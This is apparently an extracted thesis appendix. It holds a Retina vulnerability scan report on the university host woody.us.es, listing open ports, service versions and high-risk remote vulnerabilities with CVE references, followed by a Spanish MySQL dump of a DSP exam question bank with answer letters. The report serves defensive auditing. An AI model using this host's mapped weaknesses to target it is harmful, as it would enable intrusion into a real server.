Audits in Retina the Network Security Scanner are categorized into different sections. The
sections are based on the type of services you might be running on your servers and / or
workstations.
Total Vulnerabilities By Risk Level
The following graph illustrates the
total number of vulnerabilities across
all machines divided by risk level.
Pg. 201
Total Vulnerabilities By Accounts

Audit
total number of Accounts
vulnerabilities across all machines
divided by risk level.
Total Vulnerabilities By CGI
Scripts Audit
total number of CGI Scripts
Total Vulnerabilities By CHAM
Audit
total number of CHAM vulnerabilities
across all machines divided by risk
level.
Total Vulnerabilities By Commerce
Audit
total number of Commerce
Total Vulnerabilities By DNS
Services Audit
total number of DNS Services
Total Vulnerabilities By DoS Audit
total number of DoS vulnerabilities
across all machines divided by risk
level.
Total Vulnerabilities By FTP
Servers Audit
total number of FTP Servers
Total Vulnerabilities By IP
Services Audit
total number of IP Services
Total Vulnerabilities By Mail
Servers Audit
total number of Mail Servers
Pg. 202
Total Vulnerabilities By
Miscellaneous Audit
total number of Miscellaneous
Total Vulnerabilities By NetBIOS

Audit
total number of NetBIOS
Total Vulnerabilities By Registry
Audit
total number of Registry
Total Vulnerabilities By Remote
Access Audit
total number of Remote Access
Total Vulnerabilities By Rpc
Services Audit
total number of Rpc Services
Total Vulnerabilities By Service
Control Audit
total number of Service Control
Total Vulnerabilities By SNMP
Servers Audit
total number of SNMP Servers
Total Vulnerabilities By SSH
Servers Audit
total number of SSH Servers
Pg. 203
Total Vulnerabilities By Web

Servers Audit
total number of Web Servers
Address 193.147.161.237
3-1
General: 193.147.161.237
Address: 193.147.161.237
No More Details Available
Report Date: 11/06/02 16:40:29PM
Domain Name: woody.us.es

Ping Response: Host Responded
Average Ping Response: 450 ms
Time To Live: 236

Audits: 193.147.161.237
Pg. 204
Remote Access: IRIX nsd Cache DoS Vulnerability

Risk Level: High
Description: A vulnerability related to the way the IRIX unified
name service daemon (nsd) manages its cache files has been reported.
Due to a bug in a cache-limiting function, the cache can grow to
eventually fill the system disk. SGI has investigated the issue and
recommends the following steps for neutralizing the exposure. It is
HIGHLY RECOMMENDED that these measures be implemented on
ALL vulnerable SGI systems. This issue has been corrected in future
releases of IRIX. The nsd daemon is installed by default on all 6.5.x
versions of IRIX, and this vulnerability exists in all versions of IRIX
6.5.4m/f through 6.5.11m/f. The problem has been fixed in IRIX
6.5.12m/f. A local user account on the vulnerable system is not
required in order to exploit this vulnerability. The exploitation of this
vulnerability can lead to a full system disk, effectively resulting in a
Denial of Service.
***This may be a false positive. Regardless, disable the nsd daemon
if not using it.
How To Fix:
Update to the latest version.
CVE: CAN-2002-0038
BugtraqID: 3882
Remote Access: Multiple vendor login environment

variable buffer overflow
Risk Level: High
Description: The login program implementation utilized by multiple
vendors is vulnerable to a buffer overflow condition that can allow
attackers to execute arbitrary code. The problem is due to login not
correctly handling environment variables of excessive length. Remote
attackers can supply certain variables to programs that use login, such
as telnetd or rlogin, to execute arbitrary code with root privileges.
This may be a false positive.
How To Fix:
It is recommended you use SSH only, and disable login and rlogin.
Upgrade to the latest version.
Vulnerable Versions and Fixes:
IBM AIX 5.1, 4.3:
ftp://aix.software.ibm.com/aix/efixes/security/tsmlogin_efix.tar.Z
APAR for AIX 5.1 IY26221 APAR for AIX 4.3 IY26443 Sun Solaris:
Solaris 8: 111085-02 Solaris 8_x86: 111086-02 Solaris 7: 112300-01
Solaris 7_x86: 112301-01 Solaris 6: 105665-04 Solaris 6_x86:
105666-04 Solaris 2.5.1: 106160-02 Solaris 2.5.1_x86: 106161-02
Pg. 205
SCO Unix: ftp://stage.caldera.com/pub/security/openserver/CSSA2001-SCO.40/erg711877.506.tar.Z

ftp://stage.caldera.com/pub/security/openserver/CSSA-2001SCO.40/erg711877.505.tar.Z
URL1: CERT (http://www.cert.org/advisories/CA-2001-34.html)
CVE: CA-2001-34
BugtraqID: 3681
Remote Access: Multiple Vulnerabilities in LPD

Risk Level: High
Description: There are seven vulnerabilities which were released at
the same time for LPD (line printer daemon). All seven are Risk 9.
This check does not perform an overflow, so there may be false
positives.
How To Fix:
Upgrade to the latest version.
URL1: CERT (http://www.kb.cert.org/vuls/id/966075)
URL2: SecurityFocus (http://online.securityfocus.com/bid/3240)
CVE: CAN-2001-0668
BugtraqID: 3240
Rpc Services: RPC statd file deletion vuln

Risk Level: High
Description: The statd RPC service has been known to contain an
error that could allow an attacker to create or delete files on the hard
drive due to improper argument checking by the statd service.
How To Fix:
Upgrade to the current version of statd from your vendor, or if this
service is unnecessary, remove it following your vendor's directions.
CVE: CVE-1999-0019
Rpc Services: RPC statd format string attack

Risk Level: High
Description: The statd RPC service in numerous Linux distributions
has been known to contain format string holes that would allow a
remote attacker the ability to run code as root.
How To Fix:
CVE: CVE-2000-0666
Pg. 206
BugtraqID: 1480
Rpc Services: RPC statd overflow

Risk Level: High
Description: The statd RPC service has been known to contain holes
that would allow a remote attacker the ability to run code as root due
to poor bounds checking.
How To Fix:
CVE: CVE-1999-0018
BugtraqID: 127
SSH Servers: SSH daemon crc32 compensation attack

detector vulnerability
Risk Level: High
Description: Various SSH implementations are vulnerable to a buffer
overflow that allows a remote attacker to run arbitrary code. The SSH
implementations include code for detection of a packet injection
attack that would permit command execution. The code to detect the
attack contains a vulnerability. A malicious user can overflow a 16-bit
unsigned integer variable allowing memory address modification.
How To Fix:
Obtain the latest version.
URL1: SSH CRC Bug Analysis (includes most comprehensive list of
vulnerable systems) ( http://staff.washington.edu/dittrich/misc/sshanalysis.txt)
URL2: CERT Page ( http://www.kb.cert.org/vuls/id/945216)
URL3: Razor
Advisory (http://razor.bindview.com/publish/advisories/adv_ssh1crc.
html)
CVE: CVE-2001-0144
BugtraqID: 2347
CHAM-FTP: T:Overflow,C:XCWD,S:5001,P:21
Risk Level: High
Description: CHAMFtp has found that the remote system may be
vulnerable to one or more remote buffer overflow attacks.
How To Fix:
Take a screen shot of Retina and email it to cham@eeye.com so that
we can contact the software vendor and work with them to create a
Pg. 207
fix. If possible, select the Create Log option under Retina's Tools>options menu. Rerun retina against this host (after starting the ftp
server on the remote machine). This creates a log in your top retina
directory call RETDEBUG.LOG. This log will better help us diagnose
the problem in the ftp server.
CVE: GENERIC-MAP-NOMATCH
FTP Servers: Anonymous FTP

Risk Level: Medium
Description: It is recommended that you disable anonymous FTP
access if it is not needed. Anonymous FTP access can lead to an
attacker gaining information about your system that can possibly lead
to them gaining access to your system.
How To Fix:
Follow your FTP server instructions on how to disable anonymous
FTP.
CVE: CAN-1999-0497
IP Services: RLOGIN Service

Risk Level: Medium
Description: This service is vulnerable to IP spoofing attacks and
may allow an attacker the ability to log on to your server if they can
spoof a trusted host.
How To Fix:
Use SSH's remote login service instead. If this is not possible, at least
have TCP wrappers installed to log and limit connections.
CVE: CAN-1999-0651
IP Services: RSH Service

Risk Level: Medium
Description: This service is vulnerable to IP spoofing attacks and
may allow an attacker the ability to execute code on your server if
they can spoof a trusted host.
How To Fix:
Use SSH's remote command execution service instead. If this is not
possible, at least have TCP wrappers installed to log and limit
connections.
CVE: CAN-1999-0651
Pg. 208
Remote Access: telnet service

Risk Level: Medium
Description: Telnet is a service that allows a remote user to connect
to a machine. Telnet sends all usernames, passwords, and data
unencrypted.
How To Fix:
Consult your user manual or help file for information on how to
disable your telnet service. If no user manual or help file exists then
contact your software vendor.
CVE: CAN-1999-0619
Rpc Services: RPC nlockd DoS

Risk Level: Medium
Description: The lockd RPC service has been known to contain holes
that would allow a remote attacker the ability to deny service to
normal NFS users.
How To Fix:
Upgrade to the current version of nlockd from your vendor, or if this
CVE: CVE-2000-0508
BugtraqID: 1372
CGI Scripts: CGI - WWWBoard Arbitrary Message

Overwrite
Risk Level: Low
Description: A vulnerability discovered in WWWBoard can be
exploited to overwrite previous message posts using a hidden form
variable.
How To Fix:
Make sure you have latest version of WWWBoard. If you do not use
WWWBoard we recommend disabling, or removing it.
URL1: WWWBoard
Homepage (http://www.worldwidemart.com/scripts/wwwboard.shtml
)
CVE: CAN-1999-0930
BugtraqID: 1795
CGI Scripts: CGI - WWWBoard Password Disclosure

Risk Level: Low
Description: A vulnerability in the default installation of the
WWWBoard package allows remote attackers to steal the encrypted
Pg. 209
password of the WWWBoard admin. If the attacker can successfully

retrieve the password via a dictionary attack on the stolen
configuration file, he can control your WWWBoard.
How To Fix:
Make sure you have latest version of WWWBoard. If you do not use
WWWBoard we recommend disabling, or removing it.
URL1: WWWBoard
Homepage (http://www.worldwidemart.com/scripts/wwwboard.shtml
)
CVE: CVE-1999-0954
BugtraqID: 649
Machine: 193.147.161.237
Open Ports: 15
Closed Ports: 1895

Ports: 193.147.161.237
9: DISCARD - Discard
Port State: Open
13: DAYTIME - Daytime

Port State: Open
21: FTP - File Transfer Protocol [Control]

Detected Protocol: FTP
Port State: Open
Version: 220 WOODY FTP SERVER (VERSION WU-2.6.2(1) SUN
Pg. 210
MAR 10 20:00:40 GMT 2002) READY.
22: SSH - SSH (Secure Shell) Remote Login Protocol

Port State: Open
Version: SSH-1.5-1.2.27
23: TELNET - Telnet

Detected Protocol: TELNET
Port State: Open
Version:
37: TIME - Time

Port State: Open
80: WWW-HTTP - World Wide Web HTTP (Hyper Text

Transfer Protocol)
Detected Protocol: HTTP
Port State: Open
Version: APACHE/1.3.26
111: SUNRPC - SUN Remote Procedure Call

Port State: Open
389: LDAP - Lightweight Directory Access Protocol

Port State: Open
512: EXEC - Remote Process Execution

Port State: Open
513: LOGIN - Remote Login via Telnet;

Port State: Open
Pg. 211
514: SHELL - Automatic Remote Process Execution

Port State: Open
515: PRINTER - Printer Spooler

Port State: Open
1024: OLD_FINGER - old_finger

Port State: Open
1080: SOCKS - Socks

Port State: Open
Services: 193.147.161.237
bwnfsd: bwnfsd
Port: 716
Port: 718
Protocol: TCP
Protocol: UDP
Version: 1
Error.:
Port: 67584
Protocol: UDP
Version: 1936027252
nlockmgr: NFS Lock manager

Port: 1024
Protocol: UDP
Version: 1
Version: 3
portmapper: Sun Portmapper Service
Pg. 212
Port: 111
Protocol: TCP
Protocol: UDP
Version: 2
status: status
Port: 1024
Port: 1027
Protocol: TCP
Protocol: UDP
Version: 1
ypbind: Yellow Pages/NIS binding services

Port: 967
Port: 970
Protocol: TCP
Protocol: UDP
Version: 1
Version: 2
Glossary
4-1
DoS Attack: A Denial of Service (DoS) attack is a remote attack against a servers
TCP/IP stack or services. DoS attacks can saturate a servers bandwidth, saturate all
available connections for a particular service, or even crash a server.
Exploit: A script or program that takes advantage of vulnerabilities in services or
programs to allow an attacker to gain unauthorized or elevated system access.
Host: A node on a network. Usually refers to a computer or device on a network
which both initiates and accepts network connections.
IP Address: The 32-bit address defined by the Internet Protocol in STD 5, RFC 791.
It is usually represented in dotted decimal notation. Any device connected to the
Internet that used TCP/IP is assigned an IP Address. An IP Address can be likened to
a home address in that no two are alike.
Pg. 213
Netbios: Network Basic Input Output System. The standard interface to networks on
IBM PC and compatible networks.
Ping: A program used to test reachability of destination nodes by sending them an
ICMP echo request and waiting for a reply.
Port: A port in the network sense is the pathway that a computer uses to transmit and
receive data. As an example, Web Servers typically listen for requests on port 80.
Registry: The internal system configuration that a user can customize to alter his
computing environment on the Microsoft Windows Platform. The registry is
organized in a hierarchical structure of subtrees and their respective keys, subkeys,
and values that apply to those keys and subkeys
Service: A service is a program running on a remote machine that in one way or
another provides a service to users. For example, when you visit a website the remote
server displays a web page via its web server service.
Share: A folder, set of files, or even a hard drive partition set up on a machine to
allow access to other users. Shares are frequently set up with incorrect file
permissions which could allow an attacker to gain access to this data.
Sniffer: frequently attackers will place a sniffer program on a compromised
machine. The sole purpose of a sniffer is to collect data being transmitted on the
network in clear-text including usernames and passwords.
Subnet: A portion of a network, which may be a physically independent network
segment, which shares a network address with other portions of the network and is
distinguished by a subnet number.
Vulnerability: A weakness or a flaw in a program or service that can allow an
attacker to gain unauthorized or elevated system access.
END OF REPORT
Pg. 214
Apndice E. Especificaciones de la base de datos
Apndice E
Especificaciones de la base de datos
1. Introduccin.
La base de datos original ha sufrido numerosas modificaciones. Muchas de
las mismas han sido enumeradas a lo largo de esta documentacin. Expondremos a
continuacin el volcado (dump) de la actual base de datos, correspondiente al
portal CSED. La base de datos de LIE es similar y por esa razn hemos decidido
no incluirla aqu (resultara redundante y alargara innecesariamente este apndice).
2. Volcado de bases de datos correspondientes a CSED.

A modo de ejemplo, mostramos a continuacin el reporte de seguridad
generado de forma totalmente automtica con el software Retina, al ser lanzado
contra el servidor woody.
Pg. 215
--- Current Database: cuestionario_csed

-CREATE DATABASE /*!32312 IF NOT EXISTS*/ cuestionario_csed;
USE cuestionario_csed;
--- Table structure for table 'opciones'
-DROP TABLE IF EXISTS opciones;
CREATE TABLE opciones (
id int(11) NOT NULL auto_increment,
opciona text,
opcionb text,
opcionc text,
opciond text,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE opciones DISABLE KEYS */;
--- Dumping data for table 'opciones'
-LOCK TABLES opciones WRITE;
INSERT INTO opciones VALUES (1,'Los programas que el usuario desea
probar siempre se ubican en memoria de slo lectura.','Los programas
que el usuario desea probar siempre se ubican en memoria de acceso
aleatorio.','Es una herramienta software que sirve para depurar
programas.','Es una herramienta (software y hardware) muy cara, que
puede llegar a disponer de ms de un microprocesador para permitir
al usuario depurar programas y el comprobar, experimentalmente, su
sistema digital.'),(2,'A.','5.','B.','4.'),(3,'Un programa
compilador de lenguaje de alto nivel que se ejecuta en un PC y que
genera cdigo binario para un microprocesador diferente del que se
encuentra en el PC.','Un programa compilador de lenguaje de bajo
nivel que se ejecuta en un PC y que genera cdigo binario para un
microprocesador diferente del que se encuentra en el PC.','Un
programa compilador de lenguaje de bajo nivel que realiza el linkado
del cdigo binario generado con el de otros archivos de
librera.','Ninguna de las anteriores.'),(4,'El archivo de salida se
encuentra en formato hexadecimal de Intel.','El archivo de salida se
encuentra en formato hexadecimal de Motorola.','El archivo de salida
se encuentra en formato Binario.','Existe un error en esta lnea del
archivo de salida.'),(5,'Siempre necesita disponer de memoria
externa EPROM donde ubicar el programa que funciona como sistema
operativo.','Es una herramienta software y hardware de muy alto
coste que emula el comportamiento de un determinado
microprocesador.','Es un producto final.','Ninguna de las
anteriores.'),(6,'Arquitectura interna Von-Neuman.','Arquitectura
Pg. 216
externa Harvard.','Depende de las zonas de memoria donde ubique el

usuario el programa y los datos.','Arquitectura interna y externa
Harvard.'),(7,'Se anidan las interrupciones: Se atiende la nueva
interrupcin antes de ejecutarse la ltima instruccin de la rutina
de servicio de interrupcin que se estaba ejecutando.','El bit IF
asociado a la interrupcin que aparece se pone a 1 cuando termina de
ejecutarse la interrupcin en curso. Se termina de ejecutar la
rutina de interrupcin actual y se ejecuta posteriormente la
nueva.','Depende de la rutina de servicio de la interrupcin
activa.','El bit IF asociado a la nueva interrupcin se pone a 1
cuando aparece la peticin de interrupcin. Se termina de ejecutar
la rutina de interrupcin actual y se ejecuta posteriormente la
nueva.'),(8,'La CPU del DSP se queda parada en esa instruccin (PC
no cambia a partir de ese momento) hasta que no aparezca una
interrupcin externa.','Se ejecuta la instruccin y se genera la
interrupcin software, activndose el bit GIE.','Se ejecuta la
instruccin y se genera la interrupcin software. El bit GIE se
queda como estaba antes de ejecutarse la instruccin.','Depende de
la secuencia de operaciones previas a la instruccin de tipo TRAP
(No pueden ponerse instrucciones que puedan generar un conflicto en
la estructura pipelining del DSP). Si se insertan dos instrucciones
de tipo NOP, antes de la instruccin TRAP, siempre se ejecuta la
instruccin. Si slo se inserta una instruccin NOP, la CPU del DSP
puede quedarse parada en esa instruccin hasta que no aparezca una
interrupcin externa. Si no se inserta ninguna instruccin NOP, la
CPU del DSP se queda parada en esa instruccin hasta que no aparezca
una interrupcin externa.'),(9,'Depende de la existencia de
conflictos en la estructura pipeline.','Dos ciclos de H1.','Un ciclo
de H1.','Depende de los estados de espera que se hayan
configurado.'),(10,'La CPU accede a la Cach para recoger la
instruccin que cambia su pila (en la parte alta aparece un 1 y en
la baja un 0).','La CPU accede a la Cach para recoger la
instruccin que no cambia su pila (en la parte alta aparece un 0 y
en la baja un 1).','La CPU accede a la memoria externa para recoger
la instruccin (que es, de paso, almacenada en el segmento de
memoria de la cache asociado a SSA_1). El perifrico de memoria
cache cambia la pila (en la parte alta aparece un 1 y en la baja un
0) y actualiza la bandera que corresponda del registro P_1.','La CPU
accede a la memoria externa para recoger la instruccin. Mientras la
CPU recoge la instruccin: Se cambia la pila de la memoria cache (en
la parte alta aparece un 1 y en la baja un 0), se resetea el
segmento 1 de la memoria cache, el registro SSA_1 y los bits del
registro P_1 y, posteriormente, se actualizan SSA_1, P_1 y se guarda
dicha instruccin en el segmento 1 de la memoria cache.'),(11,'El
DSP ralentiza el segundo acceso en lectura debido a los bancos de
conmutacin programables.','El DSP realiza el segundo acceso en
lectura en el mismo tiempo que el primero porque los bancos de
conmutacin programables slo dividen en 16 partes iguales, cada una
de 1Mword, el mapa de memoria.','El DSP realiza el segundo acceso en
lectura en el mismo tiempo que el primero.','Ninguna de las
anteriores.'),(12,'La direccin del operando forma parte de la
instruccin.','Parte de la direccin del operando forma parte de la
instruccin.','La direccin del operando se encuentra en los
registros auxiliares de la CPU.','La direccin del operando es de 16
bits.'),(13,'0080030BH.','00800300H.','00800320H.','00800310H.'),(14
Pg. 217
,'50 nseg.','100 nseg.','200 nseg.','Depende de la configuracin del

resto de parmetros de los registros de control del perifrico
puerto serie del DSP.'),(15,'El trasvase habr que programarlo en el
perifrico DMA externo al DSP, que deber indicar al DSP que quiere
tomar el control del bus de expansin.','El trasvase habr que
programarlo en el perifrico DMA externo al DSP, que deber indicar
al DSP que quiere tomar el control del bus principal.','El trasvase
se podr programar en el perifrico DMA externo o en el perifrico
DMA interno del DSP.','El trasvase habr que programarlo en el
perifrico DMA interno del DSP.'),(16,'Se anidan las interrupciones:
Se atiende la nueva interrupcin antes de ejecutarse la ltima
instruccin de la rutina de servicio de interrupcin que se estaba
ejecutando.','El bit IF asociado a la interrupcin que aparece se
pone a 1 cuando termina de ejecutarse la interrupcin en curso. Se
termina de ejecutar la rutina de interrupcin actual y se ejecuta
posteriormente la nueva.','Depende de la rutina de servicio de la
interrupcin activa.','El bit IF asociado a la nueva interrupcin se
pone a 1 cuando aparece la peticin de interrupcin. Se termina de
ejecutar la rutina de interrupcin actual y se ejecuta
posteriormente la nueva.'),(17,'El archivo de salida se encuentra en
formato hexadecimal de Intel.','El archivo de salida se encuentra en
formato hexadecimal de Motorola.','El archivo de salida se encuentra
en formato Binario.','Ninguna de las
anteriores.'),(18,'4.','2.','3.','6.'),(19,'El DSP arranca desde ROM
interna. Cuando se active INT0, el sistema realiza una carga desde
ROM externa del programa.','El DSP arranca desde ROM interna. Cuando
se active INT0, el sistema intenta realizar una carga desde ROM
externa del programa pero la seal RDY lo impide.','El DSP no puede
arrancar desde memoria externa, el mapa de memoria no es
correcto.','El DSP no puede arrancar desde memoria externa, no se
ejecuta ninguna instruccin, la seal RDY lo impide.'),(20,'La
transmisin es de 8, 16, 24 o 32 bits, va precedida de un bit a 1
(leading one). La transmisin permanece parada hasta que no se
reciba un bit a 0 en la parte de recepcin del puerto serie.','La
transmisin es de 8 bits, va precedida de un bit a 1 (leading one) y
detrs del dato se transmite un bit a 0.','La transmisin es de 8,
16, 24 o 32 bits, va precedida de un bit a 1 (leading one) y detrs
del dato se transmite un bit a 0.','La transmisin es de 8 bits, va
precedida de un bit a 1 (leading one). La transmisin permanece
parada hasta que no se reciba un bit a 0 en la parte de recepcin
del puerto serie.'),(21,'50h.','80h.','45h.','Ninguna de las
anteriores.'),(22,'Registros de propsito general de la
CPU.','Registros auxiliares.','Registros ndice.','Registros
PC.'),(23,'En la etapa de alimentacin de un sistema microprocesador
para estabilizar la tensin de alimentacin de los dispositivos del
sistema.','En la etapa de alimentacin de un sistema microprocesador
para rectificar la tensin alterna de entrada a dicha etapa.','En la
etapa de interfaz con el canal fsico, si ste es el puerto serie
del PC, para convertir los niveles de tensin de 12v a 0v y
5v.','Ninguna de las anteriores.'),(24,'Una herramienta que ayuda a
la depuracin del software y del hardware de un determinado
microprocesador.','Un sistema que gestiona la comunicacin (funciona
como intrprete de comandos y controla el canal fsico) entre el
microprocesador y un PC.','Es un programa que convierte en cdigo
mquina del microprocesador las instrucciones en ensamblador que
Pg. 218
define el usuario.','Un programa que se ejecuta en un PC que ayuda

al desarrollo del software (sirve para depurar fallos) de un
determinado microprocesador.'),(25,'Se termina de ejecutar la
instruccin en curso. En el registro contador de programa se
almacena un valor fijo, que depende de la interrupcin que sea. Como
consecuencia, la CPU acude a una posicin de memoria que corresponde
con RAM interna y se ejecuta la instruccin que se encuentre
all.','Se termina de ejecutar la instruccin en curso. En el
registro contador de programa se almacena un valor fijo, que depende
de la interrupcin que sea. Como consecuencia, la CPU acude a una
posicin de memoria que corresponde con RAM interna, almacenando en
el registro contador de programa el valor que se encuentre
all.','La peticin de interrupcin, no lleva asociada ninguna
secuencia de eventos a no ser que se active el bit GIE.','Ninguna de
las anteriores.'),(26,'7.','2.','16.','10'),(27,'No.','Si. Si, y
slo si, el segundo acceso se realiza seguido de un acceso en
escritura, en cuyo caso se introduce 1 estado de espera
adicional.','Si. 1 estado de espera adicional.','Ninguna de las
anteriores.'),(28,'LDII.','STII.','SIGI.','Ninguna de las
anteriores.'),(29,'Se incrementa, en una unidad, el registro PC y se
introduce el dato en la direccin apuntada por PC.','Se incrementa,
en una unidad, el registro SP y se introduce el dato en la direccin
apuntada por SP.','Se introduce el dato en la direccin apuntada por
SP y se incrementa, en una unidad, el registro SP.','Se introduce el
dato en la direccin apuntada por PC y se incrementa, en una unidad,
el registro PC.'),(30,'El registro contador pasa a valer
cero.','Aparece un flanco de subida en la seal TSTAT.','Aparece un
flanco de bajada en la seal TSTAT.','Depende del modo de
funcionamiento (pulso o reloj) que se haya programado.'),(31,'Es un
modo de transferencia serie, asociado al perifrico puerto serie del
DSP, que se caracteriza porque los datos se transfieren precedidos
por un bit a 0.','Es un modo de transferencia serie, asociado al
perifrico puerto serie del DSP, que se caracteriza porque los datos
se transfieren si, y slo si, se recibe (en la parte de recepcin de
dicho puerto serie) un bit a 0.','Es un modo de transferencia serie,
asociado al perifrico puerto serie del DSP, que se caracteriza
porque FSX slo puede ser configurado como entrada.','Es un modo de
transferencia serie, asociado al perifrico puerto serie del DSP,
que se caracteriza porque la transferencia slo puede ser
configurada en modo continuo.'),(32,'El control de la transferencia
DMA de los datos.','La inicializacin los registros que intervienen
en la transferencia de datos.','La interrupcin de la transferencia
DMA (se pone a 0 el contador de transferencias pendientes).','La
generacin de interrupciones a la CPU asociadas al perifrico
DMA.');
/*!40000 ALTER TABLE opciones ENABLE KEYS */;
UNLOCK TABLES;
--- Table structure for table 'pregunta'
-DROP TABLE IF EXISTS pregunta;
CREATE TABLE pregunta (
Pg. 219

texto text,
solucion char(1) default NULL,
tema int(11) default NULL,
examen date default NULL,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE pregunta DISABLE KEYS */;
--- Dumping data for table 'pregunta'
-LOCK TABLES pregunta WRITE;
INSERT INTO pregunta VALUES (1,'Un sistema de desarrollo se
caracteriza porque ...','b',0,'2000-06-15'),(2,'S10500100000EX.
Indica el valor del carcter X en la lnea anterior.','a',0,'200006-15'),(3,'Un ensamblador de cdigo absoluto es:','b',0,'1999-0617'),(4,'Se dispone de la lnea (:00000001FE) en un archivo de
salida que contiene el cdigo binario asociado al programa que se
desea ejecutar en un microprocesador. Indicar la opcin
vlida.','d',0,'1999-06-17'),(5,'Un sistema de desarrollo
...','d',0,'1999-06-17'),(6,'Los DSPs de la familia TMS320C30
ofrecen:','c',0,'1999-06-17'),(7,' Qu ocurre, si el DSP-TMS320C30
de Texas Instrument, se encuentra atendiendo una interrupcin y
aparece otra que est activada y que es de mayor prioridad
?.','c',0,'1999-06-17'),(8,' Qu ocurre si, ejecutndose un
programa en un DSP de la familia TMS320C3x de Texas Instrument,
aparece escrito un 0 en el bit GIE del registro ST y se ejecuta una
instruccin TRAP sin condiciones ?.','c',0,'1999-06-17'),(9,'Una
transferencia DMA empleando el controlador interno del DSP y
realizada desde el bloque 0 hasta el bloque 1 de memoria RAM interna
del DSP, tarda:','a',0,'1999-06-17'),(10,'Suponer habilitado el
perifrico Memoria CACH en un DSP-TMS320C30 de Texas Inst. En un
determinado instante, la CPU intenta un acceso externo para recoger
una instruccin. En ese momento y ordenados del MSB al LSB:
SSA_0=404E1h, SSA_1=404E0h, P_0=001FFFFFh, P_1=FFFFFF00h,
PC=809C00h. Indicar, si en la parte alta de la pila del perifrico
hay un 0 antes de acceder a la instruccin, la secuencia de
operaciones correcta.','c',0,NULL),(11,'El DSP-TMS320C30 de Texas
Inst. est realizando dos accesos consecutivos, en lectura con cero
estados de espera, a travs del bus de expansin. En el registro
BNKCMP se ha programado el valor 10h. El primer acceso se realiza a
la direccin 8041FFh y el segundo a la direccin
804200h.','c',0,'1999-06-17'),(12,'El modo de direccionamiento
directo en los DSPs de la familia TMS320C3x se caracteriza porque
...','b',0,'1999-06-17'),(13,'Indicar el valor del registro AR0,
luego de ejecutarse una instruccin en la que el operando es:
*AR0++(IR0)B. Los valores antes de ejecutarse la instruccin:
IR0=4H, AR0=00800307H.','b',0,'1999-06-17'),(14,'Se dispone de un
DSP de la familia TMS320C3x con un oscilador externo de 40MHz. El
perifrico puerto serie se ha configurado de forma que las lneas
FSX, CLKX, DX, FSR, CLKR y DR se utilizan como lneas del
Pg. 220
perifrico. La fuente de reloj para transmisin y recepcin es

interna. Indicar la tasa de transferencia de bits
correcta.','d',0,'1999-06-17'),(15,'Se dispone de un sistema
microprocesador formado, entre otros dispositivos, por un DSP-TMS320C30 de Texas Instruments, dispositivos externos de
almacenamiento de programas y datos (EPROM y RAM) y un controlador
de DMA externo. Se desea trasvasar, sin coste alguno para la CPU del
DSP, una tabla de datos contenidos en la RAM interna del DSP (bloque
0) a memoria RAM externa.','d',0,'1999-07-09'),(16,' Qu ocurre si
el DSP--TMS320C30 de Texas Instrument se encuentra atendiendo una
interrupcin y aparece otra que est activada y que es de mayor
prioridad ?. Como dato se sabe que en la rutina de servicio de la
interrupcin activa el usuario no escribe en el registro de estado
(registro ST) del sistema.','d',0,'1999-07-09'),(17,'Se dispone de
la lnea (S207FF9CFA7EE31DE5) en un archivo de salida que contiene
el cdigo binario asociado al programa que se desea ejecutar en un
microprocesador. Indicar la opcin vlida.','d',0,'1999-0709'),(18,'Indicar el nmero de estados de espera necesarios para
acceder a un perifrico con un tiempo de acceso de 150 nseg
conectado al bus de expansin de un TMS320C30 de Texas Instruments a
40 MHz y seleccionado con IOSTRB. Suponer que el retardo introducido
en la seleccin del perifrico es de 35 nseg.','b',0,'1999-0709'),(19,'Se dispone de un sistema microprocesador basado en un DSP-TMS320C31 de Texas Inst. El dispositivo se encuentra en modo
microprocesador con cuatro EPROMs externas, de 32Kbytes cada una,
cuya funcin de seleccin es STRB + A<sub>23</sub> y con cuatro RAMs
externas, de 32Kbytes cada una, cuya funcin de seleccin es STRB +
A<sub>23</sub>. Indicar la secuencia de eventos correcta siguiente a
un RESET, si se conecta la seal RDY de entrada al circuito
integrado a GND.','c',0,'1999-07-09'),(20,'Indicar la opcin que
define el modo ACUSE DE RECIBO de comunicacin del puerto serie
sncrono del DSP.','a',0,'1999-07-09'),(21,'Se desea definir una
tabla de datos enteros que se va a acceder en el modo de
direccionamiento indirecto circular. La tabla tiene un tamao de 16
elementos y se desea ubicar entre las posiciones 45h y 90h. Indicar
la posicin en la que ubicaras la direccin base de la tabla
circular.','b',0,'1999-07-09'),(22,'La CPU de un DSP de la familia
TMS320C3x de Texas Instruments realiza una operacin con dos
operandos flotantes. En qu registros se puede almacenar el
resultado ?.','a',0,'1999-07-09'),(23,'Un regulador lineal es un
dispositivo que se emplea ...','a',0,'1999-12-21'),(24,'Un simulador
de un microprocesador es ...','a',0,'1999-12-21'),(25,'Se dispone de
un sistema microprocesador basado en el DSP-TMS320C31 de Texas
Instruments, funcionando en modo <i>Boot--Loader</i>. Indicar la
secuencia correcta de eventos asociada a la aparicin de la primera
interrupcin externa que aparece luego de un reset (como dato se
sabe que el bit de habilitacin global de las interrupciones est a
0).','d',0,'1999-12-21'),(26,'Indicar el nmero mximo de lneas que
pueden emplearse como entradas-salidas de propsito general en un
DSP-TMS320C30 de Texas Instruments.','c',0,'1999-1221'),(27,'Suponer que el DSP-TMS320C30 de Texas Inst. est
realizando dos accesos consecutivos en lectura a travs del bus
principal con cero estados de espera y sin posibilidad de generarse
la seal de HOLD externa. Existe alguna forma de ralentizar el
tiempo del segundo acceso?. Si la respuesta correcta es que s,
Pg. 221
cunto se podra llegar a ralentizar?.','c',0,'1999-1221'),(28,'Indica cual de las siguientes instrucciones de

interbloqueo activa XF1.','d',0,'1999-12-21'),(29,'Indicar la
secuencia de operaciones asociadas a la introduccin de un
dato\r\nen la pila del DSP de la familia TMS320C3x.','b',0,'1999-1221'),(30,'Las peticiones de interrupcin asociadas al perifrico
temporizador interno de la familia de DSPs TMS320C3x se producen
cuando ...','a',0,'1999-12-21'),(31,'El modo acuse de recibo
...','b',0,'1999-12-21'),(32,'Qu inters tiene la habilitacin
para que la peticin de una interrupcin genere eventos asociados al
perifrico DMA?','a',0,'1999-12-21');
/*!40000 ALTER TABLE pregunta ENABLE KEYS */;
UNLOCK TABLES;
--- Current Database: dudas_csed
-CREATE DATABASE /*!32312 IF NOT EXISTS*/ dudas_csed;
USE dudas_csed;
--- Table structure for table 'dudas'
-DROP TABLE IF EXISTS dudas;
CREATE TABLE dudas (
id int(10) unsigned NOT NULL auto_increment,
pregunta text,
respuesta text,
fecha date default NULL,
PRIMARY KEY (id)
) TYPE=MyISAM;
/*!40000 ALTER TABLE dudas DISABLE KEYS */;
